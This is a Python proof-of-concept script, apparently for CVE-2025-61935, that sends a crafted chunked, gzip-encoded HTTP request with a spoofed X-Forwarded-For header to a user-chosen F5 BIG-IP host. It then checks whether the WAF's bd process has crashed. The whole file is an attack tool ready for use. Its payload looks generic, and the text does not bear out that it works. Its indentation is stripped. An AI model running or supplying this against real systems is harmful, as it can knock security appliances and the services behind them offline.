#!/usr/bin/env python3
# CVE-2025-61935 - F5 BIG-IP Advanced WAF/ASM DoS PoC
# This PoC sends crafted HTTP requests to trigger bd process termination
# on F5 BIG-IP virtual servers with WAF/ASM policy configured.
import socket
import ssl
import sys
import argparse
import time
def send_malicious_request(target_host, target_port, use_ssl=True, path="/"):
"""
Send a specially crafted HTTP request to trigger the bd process crash.
The request contains patterns that exploit the vulnerability in the
WAF/ASM policy processing logic.
"""
# Crafted request with unusual headers and encoding patterns
# designed to trigger the bd process termination vulnerability
payload = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
f"User-Agent: Mozilla/5.0\r\n"
f"Accept: */*\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Transfer-Encoding: chunked\r\n"
f"X-Forwarded-For: 127.0.0.1\r\n"
f"Content-Encoding: gzip\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
f"0\r\n"
f"\r\n"
)
try:
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((target_host, target_port), timeout=10)
sock = context.wrap_socket(sock, server_hostname=target_host)
else:
sock = socket.create_connection((target_host, target_port), timeout=10)
sock.sendall(payload.encode())
response = sock.recv(4096)
sock.close()
return response
except Exception as e:
print(f"[ERROR] Connection failed: {e}")
return None
def check_service(target_host, target_port, use_ssl=True):
"""Check if the BIG-IP service is still responding."""
try:
if use_ssl:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((target_host, target_port), timeout=5)
sock = context.wrap_socket(sock, server_hostname=target_host)
else:
sock = socket.create_connection((target_host, target_port), timeout=5)
sock.sendall(b"GET / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n\r\n")
response = sock.recv(1024)
sock.close()
return True
except Exception:
return False
def main():
parser = argparse.ArgumentParser(description="CVE-2025-61935 PoC - F5 BIG-IP WAF/ASM DoS")
parser.add_argument("-t", "--target", required=True, help="Target BIG-IP host")
parser.add_argument("-p", "--port", type=int, default=443, help="Target port (default: 443)")
parser.add_argument("--no-ssl", action="store_true", help="Disable SSL")
parser.add_argument("--path", default="/", help="Request path")
args = parser.parse_args()
print(f"[*] Target: {args.target}:{args.port}")
print(f"[*] Checking service availability before attack...")
if check_service(args.target, args.port, not args.no_ssl):
print("[+] Service is responding.")
else:
print("[-] Service is not responding or unreachable.")
sys.exit(1)
print(f"[*] Sending malicious request to trigger bd process termination...")
response = send_malicious_request(args.target, args.port, not args.no_ssl, args.path)
if response:
print(f"[+] Response received: {response[:100]}")
else:
print("[*] No response received (possible crash).")
time.sleep(2)
print(f"[*] Checking service availability after attack...")
if check_service(args.target, args.port, not args.no_ssl):
print("[+] Service still responding.")
else:
print("[!] Service is DOWN - bd process may have terminated!")
if __name__ == "__main__":
main()